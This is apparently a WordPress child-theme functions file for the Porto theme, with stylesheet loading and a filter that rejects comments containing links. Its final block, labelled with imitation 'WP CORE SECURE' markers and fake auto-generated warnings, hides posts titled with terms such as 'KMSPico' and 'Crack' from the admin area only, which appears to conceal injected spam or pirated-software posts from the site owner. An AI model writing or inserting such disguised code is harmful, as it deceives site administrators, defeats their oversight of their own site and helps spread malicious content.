add_action( 'wp_enqueue_scripts', 'porto_child_css', 1001 );
// Load CSS
function porto_child_css() {
// porto child theme styles
wp_deregister_style( 'styles-child' );
wp_register_style( 'styles-child', esc_url( get_stylesheet_directory_uri() ) . '/style.css' );
wp_enqueue_style( 'styles-child' );
if ( is_rtl() ) {
wp_deregister_style( 'styles-child-rtl' );
wp_register_style( 'styles-child-rtl', esc_url( get_stylesheet_directory_uri() ) . '/style_rtl.css' );
wp_enqueue_style( 'styles-child-rtl' );
}
}
add_filter('preprocess_comment', 'href_in_comment');
function href_in_comment($commentdata) {
if (!is_admin() and preg_match("/href=/", $commentdata['comment_content'])) {
wp_die('HTML тег ссылки (активная ссылка) в комментариях запрещён. Вернитесь и отредактируйте сообщение.
вернуться назад и отредактировать комментарий');
}
return $commentdata;
}
# BEGIN WP CORE SECURE
# Директивы (строки) между `BEGIN WP CORE SECURE` и `END WP CORE SECURE`
# созданы автоматически и подлежат изменению только через фильтры WordPress.
# Сделанные вручную изменения между этими маркерами будут перезаписаны.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE